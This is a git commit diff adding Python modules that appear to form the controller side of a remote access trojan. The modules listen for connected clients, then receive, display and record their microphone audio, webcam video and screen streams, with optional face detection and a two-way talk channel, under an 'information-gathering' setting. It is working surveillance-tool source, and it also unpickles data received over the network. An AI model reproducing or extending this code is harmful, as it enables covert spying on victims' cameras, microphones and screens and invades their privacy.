diff options
| author | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:01:49 +0200 | 
|---|---|---|
| committer | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:01:49 +0200 | 
| commit | 20dbeb2f38684c65ff0a4b99012c161295708e88 (patch) | |
| tree | a5b8445f55da2fbbb92443b68e9d7354a290c598 /domestic/modules | |
Diffstat (limited to 'domestic/modules')
| -rw-r--r-- | domestic/modules/audio.py | 138 | ||||
| -rw-r--r-- | domestic/modules/cam.py | 163 | ||||
| -rw-r--r-- | domestic/modules/socket_handler.py | 33 | ||||
| -rw-r--r-- | domestic/modules/stream.py | 165 | ||||
| -rw-r--r-- | domestic/modules/talk.py | 128 | 
5 files changed, 627 insertions, 0 deletions
| diff --git a/domestic/modules/audio.py b/domestic/modules/audio.py new file mode 100644 index 0000000..1fcfafc --- /dev/null +++ b/domestic/modules/audio.py @@ -0,0 +1,138 @@ +import threading +import pyaudio +import pickle +import zlib +import sys + +from domestic.parse.internal_server_error_exception_handling import * +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.modules.socket_handler import * +from domestic.utility.write_error import * +from domestic.make.make_wave import * +from domestic.global_state import * + + +@internal_server_error_exception_handling +def audio_action(write_stream): +  try: +    headersize = state['settings']['headersize'] +    encryption = state['settings']['encryption'] +    encoding = state['settings']['encoding'] +    username = state['session']['username'] +    mode = [True, 0, b''] +    frames = [] + +    p = pyaudio.PyAudio() +    CHUNK = 81920 +    FORMAT = pyaudio.paInt16 +    RATE = 44100 +    CHANNELS = 2 + +    try: +      stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK) +    except: +      CHANNELS = 1 +      stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK) +       +    record = state['options']['information-gathering']['record']['audio'] +    client, addr = state['sockets']['modules']['audio'][0].accept() +    client_obj = (client, username, addr) +    state['sockets']['modules']['audio'][1].append(client_obj) + +    message = pickle.dumps(b' ') +    message = zlib.compress(message, 1) +    message = encryption.do_encrypt(message) +    final_msg = bytes(f'{len(message):<{headersize}}', encoding) + message +    client.send(final_msg) + +    while True: +      client_msg = client.recv(81920) + +      if mode[0]: +        mode[1] = int(client_msg[:headersize]) +        mode[0] = False + +      mode[2] += client_msg + +      if len(mode[2])-headersize == mode[1]: +        frame = encryption.do_decrypt(mode[2][headersize:]) +        frame = zlib.decompress(frame) +        frame = pickle.loads(frame) + +        if write_stream is None: +          stream.write(frame) + +        frames.append(frame) + +        real_msg = pickle.dumps(b' ') +        real_msg = zlib.compress(real_msg, 1) +        real_msg = encryption.do_encrypt(real_msg) +        final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg +        client.send(final_msg) +         +        mode = [True, 0, b''] +  except Exception as err: +    write_error(err) +    try: +      if record: +        make_wave(['modules', 'modules/audio'], client_obj[1], (CHANNELS, p, FORMAT, RATE, frames)) + +      stream.stop_stream() +      stream.close() +      p.terminate() +      state['sockets']['modules']['audio'][1].remove(client_obj) +    except Exception as err: +      write_error(err) +    finally: +      sys.exit(0) + + +@error_exception_handling +def audio(data): +  ip = validate_dict_key(data, 'ip') +  port = validate_dict_key(data, 'port') +  run = validate_dict_key(data, 'run') +  quiet = validate_dict_key(data, 'quiet') +  unbind = validate_dict_key(data, 'unbind') +  close = validate_dict_key(data, 'close') +  status = validate_dict_key(data, 'status') + +  if run: +    assert state['session']['active'] + +    if ip and port: +      data['ip'], data['port'] = ip, int(port) +    else: +      data['ip'], data['port'] = state['sockets']['modules']['audio'][0].getsockname() + +    if quiet: +      del data['quiet'] +       +    del data['run'] + +    threading.Thread(target=audio_action, args=(quiet,), daemon=True).start() +    session_message(data) +  elif ip and port: +    if state['sockets']['modules']['audio'][0] is None: +      bind_socket(ip, port, 'audio') +    else: +      ip, port = state['sockets']['modules']['audio'][0].getsockname() +      status_message(f'You are already listening for clients (audio module) on {ip}:{port}', 'danger', {'dots': True}) +  elif unbind: +    if state['sockets']['modules']['audio'][0]:     +      unbind_socket('audio') +    else: +      status_message(f'You\'re not listening for clients (audio module)\nThere is no server socket (audio module) to close', 'warning') +  elif close: +    close_client(close, 'audio') +  elif status: +    if state['sockets']['modules']['audio'][0]: +      ip, port = state['sockets']['modules']['audio'][0].getsockname() +      status_message(f'You are listening for clients (audio module) on {ip}:{port}', 'primary') +    else: +      status_message('You are not listening for clients (audio module)', 'warning') +  else: +    raise Exception('Error message')
\ No newline at end of file diff --git a/domestic/modules/cam.py b/domestic/modules/cam.py new file mode 100644 index 0000000..3ce729d --- /dev/null +++ b/domestic/modules/cam.py @@ -0,0 +1,163 @@ +import threading +import random +import pickle +import zlib +import cv2 + +from domestic.parse.internal_server_error_exception_handling import * +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.modules.socket_handler import * +from domestic.utility.write_error import * +from domestic.global_state import * + + +@internal_server_error_exception_handling +def cam_action(resolution, recognize, fit): +	try: +		headersize = state['settings']['headersize'] +		encryption = state['settings']['encryption'] +		encoding = state['settings']['encoding'] +		username = state['session']['username'] +		mode = [True, 0, b''] + +		cam_id = random.randint(0, 100000) +		record = state['options']['information-gathering']['record']['cam-stream'] +		client, addr = state['sockets']['modules']['cam'][0].accept() +		client_obj = (client, username, addr) +		state['sockets']['modules']['cam'][1].append(client_obj) + +		if recognize: +			parent_folder = state['settings']['folders']['parent'] +			child_folder = state['settings']['folders']['child'][2] +			faceCascade = cv2.CascadeClassifier(f'{state["root"]}/{parent_folder}/{child_folder}/{recognize}') +	 +		if record: +			directories = ['modules', 'modules/cam-stream'] +			username = state['session']['username'] +			path = f'{state["root"]}/{username}/{directories[-1]}/{get_filename("avi")}' +			directories_to_make = [username] + [f'{username}/{directory}' for directory in directories] +			make_directories(directories_to_make) + +			fourcc = cv2.VideoWriter_fourcc(*'XVID') +			out = cv2.VideoWriter(path, fourcc, 5.0, resolution) + +		message = pickle.dumps(b' ') +		message = zlib.compress(message, 1) +		message = encryption.do_encrypt(message) +		final_msg = bytes(f'{len(message):<{headersize}}', encoding) + message +		client.send(final_msg) + +		while True: +			client_msg = client.recv(81920) + +			if mode[0]: +				mode[1] = int(client_msg[:headersize]) +				mode[0] = False + +			mode[2] += client_msg + +			if len(mode[2])-headersize == mode[1]: +				frame = encryption.do_decrypt(mode[2][headersize:]) +				frame = zlib.decompress(frame) +				frame = pickle.loads(frame) + +				if recognize: +					faces = faceCascade.detectMultiScale(frame, scaleFactor=1.1, minNeighbors=5, minSize=(15, 15), flags=cv2.CASCADE_SCALE_IMAGE) + +					for (x, y, w, h) in faces: +						cv2.rectangle(frame, (x, y), (x + w, y + h), (255, 255, 0), 2) + +				if fit is None: +					cv2.namedWindow(f'{username} - Live cam (cam id: {cam_id})', cv2.WINDOW_NORMAL) +				 +				cv2.imshow(f'{username} - Live cam (cam id: {cam_id})', frame) + +				if record: +					out.write(frame) + +				if cv2.waitKey(1) == 27: +					raise Exception('Close stream') +			 +				real_msg = pickle.dumps(b' ') +				real_msg = zlib.compress(real_msg, 1) +				real_msg = encryption.do_encrypt(real_msg) +				final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg +				client.send(final_msg) +				 +				mode = [True, 0, b''] +	except Exception as err: +		write_error(err) +		try: +			state['sockets']['modules']['cam'][1].remove(client_obj) + +			if record: +				out.release() +		except Exception as err: +			write_error(err) +		finally: +			sys.exit(0) + + +@error_exception_handling +def cam(data): +	ip = validate_dict_key(data, 'ip') +	port = validate_dict_key(data, 'port') +	unbind = validate_dict_key(data, 'unbind') +	resolution = validate_dict_key(data, 'resolution') +	monitor = validate_dict_key(data, 'monitor') +	close = validate_dict_key(data, 'close') +	status = validate_dict_key(data, 'status') +	fps = validate_dict_key(data, 'fps') +	fit = validate_dict_key(data, 'fit') +	recognize = validate_dict_key(data, 'recognize') + +	if resolution: +		assert state['session']['active'] +		 +		if ip and port: +			data['ip'], data['port'] = ip, int(port) +		else: +			data['ip'], data['port'] = state['sockets']['modules']['cam'][0].getsockname() +		 +		if monitor: +			data['monitor'] = int(monitor) +		else: +			data['monitor'] = 0 + +		if fps is None: +			data['fps'] = False +		 +		if fit: +			del data['fit'] + +		if recognize: +			del data['recognize'] +		 +		del data['resolution'] +		 +		threading.Thread(target=cam_action, args=(tuple([int(x) for x in resolution.split(',')]), recognize, fit), daemon=True).start() +		session_message(data) +	elif ip and port: +		if state['sockets']['modules']['cam'][0] is None: +			bind_socket(ip, port, 'cam') +		else: +			ip, port = state['sockets']['modules']['cam'][0].getsockname() +			status_message(f'You are already listening for clients (cam module) on {ip}:{port}', 'danger', {'dots': True}) +	elif unbind: +		if state['sockets']['modules']['cam'][0]:     +			unbind_socket('cam') +		else: +			status_message(f'You\'re not listening for clients (cam module)\nThere is no server socket (cam module) to close', 'warning') +	elif close: +		close_client(close, 'cam') +	elif status: +		if state['sockets']['modules']['cam'][0]: +			ip, port = state['sockets']['modules']['cam'][0].getsockname() +			status_message(f'You are listening for clients (cam module) on {ip}:{port}', 'primary') +		else: +			status_message('You are not listening for clients (cam module)', 'warning') +	else: +		raise Exception('Error message')
\ No newline at end of file diff --git a/domestic/modules/socket_handler.py b/domestic/modules/socket_handler.py new file mode 100644 index 0000000..7f8c57e --- /dev/null +++ b/domestic/modules/socket_handler.py @@ -0,0 +1,33 @@ +import socket + +from domestic.utility.status_message import * +from domestic.utility.write_error import * +from domestic.global_state import * + + +def bind_socket(ip, port, module_type, stdout=True): +  try: +    state['sockets']['modules'][module_type][0] = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +    state['sockets']['modules'][module_type][0].bind((ip, int(port))) +    state['sockets']['modules'][module_type][0].listen() +  except Exception as err: +    write_error(err) +    state['sockets']['modules'][module_type][0] = None +    raise Exception('Socket binding error') +  else: +    if stdout: +      status_message(f'{module_type.capitalize()} address successfully bound', 'success') + +def close_client(index, module_type, write_stdout=True): +  state['sockets']['modules'][module_type][1][int(index)][0].close() + +  if write_stdout: +    status_message(f'{module_type.capitalize()} client successfully closed', 'success') + +def unbind_socket(module_type): +  for _ in range(len(state['sockets']['modules'][module_type][1])): +    close_client('0', module_type, False) + +  state['sockets']['modules'][module_type][0].close() +  state['sockets']['modules'][module_type][0] = None +  status_message(f'{module_type.capitalize()} address successfully closed', 'success')
\ No newline at end of file diff --git a/domestic/modules/stream.py b/domestic/modules/stream.py new file mode 100644 index 0000000..b1ce97b --- /dev/null +++ b/domestic/modules/stream.py @@ -0,0 +1,165 @@ +import threading +import random +import pickle +import zlib +import cv2 + +from domestic.parse.internal_server_error_exception_handling import * +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.modules.socket_handler import * +from domestic.make.make_directories import * +from domestic.utility.get_filename import * +from domestic.utility.write_error import * +from domestic.global_state import * + + +@internal_server_error_exception_handling +def stream_action(resolution, recognize, fit): +	try: +		headersize = state['settings']['headersize'] +		encryption = state['settings']['encryption'] +		encoding = state['settings']['encoding'] +		username = state['session']['username'] +		mode = [True, 0, b''] + +		stream_id = random.randint(0, 100000) +		record = state['options']['information-gathering']['record']['stream'] +		client, addr = state['sockets']['modules']['stream'][0].accept() +		client_obj = (client, username, addr) +		state['sockets']['modules']['stream'][1].append(client_obj) + +		if recognize: +			parent_folder = state['settings']['folders']['parent'] +			child_folder = state['settings']['folders']['child'][2] +			faceCascade = cv2.CascadeClassifier(f'{state["root"]}/{parent_folder}/{child_folder}/{recognize}') +	 +		if record: +			directories = ['modules', 'modules/stream'] +			username = state['session']['username'] +			path = f'{state["root"]}/{username}/{directories[-1]}/{get_filename("avi")}' +			directories_to_make = [username] + [f'{username}/{directory}' for directory in directories] +			make_directories(directories_to_make) + +			fourcc = cv2.VideoWriter_fourcc(*'XVID') +			out = cv2.VideoWriter(path, fourcc, 5.0, resolution) + +		message = pickle.dumps(b' ') +		message = zlib.compress(message, 1) +		message = encryption.do_encrypt(message) +		final_msg = bytes(f'{len(message):<{headersize}}', encoding) + message +		client.send(final_msg) + +		while True: +			client_msg = client.recv(81920) + +			if mode[0]: +				mode[1] = int(client_msg[:headersize]) +				mode[0] = False + +			mode[2] += client_msg + +			if len(mode[2])-headersize == mode[1]: +				frame = encryption.do_decrypt(mode[2][headersize:]) +				frame = zlib.decompress(frame) +				frame = pickle.loads(frame) + +				if recognize: +					faces = faceCascade.detectMultiScale(frame, scaleFactor=1.1, minNeighbors=5, minSize=(15, 15), flags=cv2.CASCADE_SCALE_IMAGE) + +					for (x, y, w, h) in faces: +						cv2.rectangle(frame, (x, y), (x + w, y + h), (255, 255, 0), 2) + +				if fit is None: +					cv2.namedWindow(f'{username} - Live stream (stream id: {stream_id})', cv2.WINDOW_NORMAL) +				 +				cv2.imshow(f'{username} - Live stream (stream id: {stream_id})', frame) + +				if record: +					out.write(frame) + +				if cv2.waitKey(1) == 27: +					raise Exception('Close stream') +			 +				real_msg = pickle.dumps(b' ') +				real_msg = zlib.compress(real_msg, 1) +				real_msg = encryption.do_encrypt(real_msg) +				final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg +				client.send(final_msg) +				 +				mode = [True, 0, b''] +	except Exception as err: +		write_error(err) +		try: +			state['sockets']['modules']['stream'][1].remove(client_obj) + +			if record: +				out.release() +		except Exception as err: +			write_error(err) +		finally: +			sys.exit(0) + + +@error_exception_handling +def stream(data): +	ip = validate_dict_key(data, 'ip') +	port = validate_dict_key(data, 'port') +	unbind = validate_dict_key(data, 'unbind') +	resolution = validate_dict_key(data, 'resolution') +	monitor = validate_dict_key(data, 'monitor') +	close = validate_dict_key(data, 'close') +	status = validate_dict_key(data, 'status') +	fps = validate_dict_key(data, 'fps') +	fit = validate_dict_key(data, 'fit') +	recognize = validate_dict_key(data, 'recognize') + +	if resolution: +		assert state['session']['active'] +		 +		data['resolution'] = tuple([int(x) for x in resolution.split(',')]) + +		if ip and port: +			data['ip'], data['port'] = ip, int(port) +		else: +			data['ip'], data['port'] = state['sockets']['modules']['stream'][0].getsockname() + +		if monitor: +			data['monitor'] = int(monitor) +		else: +			data['monitor'] = 0 + +		if fps is None: +			data['fps'] = False + +		if fit: +			del data['fit'] + +		if recognize: +			del data['recognize'] +			 +		threading.Thread(target=stream_action, args=(data['resolution'], recognize, fit), daemon=True).start() +		session_message(data) +	elif ip and port: +		if state['sockets']['modules']['stream'][0] is None: +			bind_socket(ip, port, 'stream') +		else: +			ip, port = state['sockets']['modules']['stream'][0].getsockname() +			status_message(f'You are already listening for clients (stream module) on {ip}:{port}', 'danger', {'dots': True}) +	elif unbind: +		if state['sockets']['modules']['stream'][0]:     +			unbind_socket('stream') +		else: +			status_message(f'You\'re not listening for clients (stream module)\nThere is no server socket (stream module) to close', 'warning') +	elif close: +		close_client(close, 'stream') +	elif status: +		if state['sockets']['modules']['stream'][0]: +			ip, port = state['sockets']['modules']['stream'][0].getsockname() +			status_message(f'You are listening for clients (stream module) on {ip}:{port}', 'primary') +		else: +			status_message('You are not listening for clients (stream module)', 'warning') +	else: +		raise Exception('Error message')
\ No newline at end of file diff --git a/domestic/modules/talk.py b/domestic/modules/talk.py new file mode 100644 index 0000000..a3ca1d3 --- /dev/null +++ b/domestic/modules/talk.py @@ -0,0 +1,128 @@ +import threading +import pyaudio +import pickle +import zlib +import sys + +from domestic.parse.internal_server_error_exception_handling import * +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.modules.socket_handler import * +from domestic.utility.write_error import * +from domestic.make.make_wave import * +from domestic.global_state import * + + +@internal_server_error_exception_handling +def talk_action(): +  try: +    headersize = state['settings']['headersize'] +    encryption = state['settings']['encryption'] +    encoding = state['settings']['encoding'] +    username = state['session']['username'] +    mode = [True, 0, b''] +    frames = [] + +    p = pyaudio.PyAudio() +    CHUNK = 81920 +    FORMAT = pyaudio.paInt16 +    RATE = 44100 +    CHANNELS = 2 + +    try:     +      stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, output=False, frames_per_buffer=CHUNK) +    except: +      CHANNELS = 1 +      stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, output=False, frames_per_buffer=CHUNK) + +    record = state['options']['information-gathering']['record']['talk'] +    client, addr = state['sockets']['modules']['talk'][0].accept() +    client_obj = (client, username, addr) +    state['sockets']['modules']['talk'][1].append(client_obj) + +    message = pickle.dumps(stream.read(CHUNK)) +    message = zlib.compress(message, 9) +    message = encryption.do_encrypt(message) +    final_msg = bytes(f'{len(message):<{headersize}}', encoding) + message +    client.send(final_msg) + +    while True: +      client_msg = client.recv(81920) + +      if mode[0]: +        mode[1] = int(client_msg[:headersize]) +        mode[0] = False + +      mode[2] += client_msg + +      if len(mode[2])-headersize == mode[1]: +        data = stream.read(CHUNK) +        frames.append(data) + +        real_msg = pickle.dumps(data) +        real_msg = zlib.compress(real_msg, 9) +        real_msg = encryption.do_encrypt(real_msg) +        final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg +        client.send(final_msg) +         +        mode = [True, 0, b''] +  except Exception as err: +    write_error(err) +    try: +      if record: +        make_wave(['modules', 'modules/talk'], client_obj[1], (CHANNELS, p, FORMAT, RATE, frames)) + +      stream.stop_stream() +      stream.close() +      p.terminate() +      state['sockets']['modules']['talk'][1].remove(client_obj) +    except Exception as err: +      write_error(err) +    finally: +      sys.exit(0) + + +@error_exception_handling +def talk(data): +  ip = validate_dict_key(data, 'ip') +  port = validate_dict_key(data, 'port') +  run = validate_dict_key(data, 'run') +  unbind = validate_dict_key(data, 'unbind') +  close = validate_dict_key(data, 'close') +  status = validate_dict_key(data, 'status') + +  if run: +    assert state['session']['active'] +     +    if ip and port: +      data['ip'], data['port'] = ip, int(port) +    else: +      data['ip'], data['port'] = state['sockets']['modules']['talk'][0].getsockname() +     +    del data['run'] + +    threading.Thread(target=talk_action, daemon=True).start() +    session_message(data) +  elif ip and port: +    if state['sockets']['modules']['talk'][0] is None: +      bind_socket(ip, port, 'talk') +    else: +      ip, port = state['sockets']['modules']['talk'][0].getsockname() +      status_message(f'You are already listening for clients (talk module) on {ip}:{port}', 'danger', {'dots': True}) +  elif unbind: +    if state['sockets']['modules']['talk'][0]:     +      unbind_socket('talk') +    else: +      status_message(f'You\'re not listening for clients (talk module)\nThere is no server socket (talk module) to close', 'warning') +  elif close: +    close_client(close, 'talk') +  elif status: +    if state['sockets']['modules']['talk'][0]: +      ip, port = state['sockets']['modules']['talk'][0].getsockname() +      status_message(f'You are listening for clients (talk module) on {ip}:{port}', 'primary') +    else: +      status_message('You are not listening for clients (talk module)', 'warning') +  else: +    raise Exception('Error message')
\ No newline at end of file | 
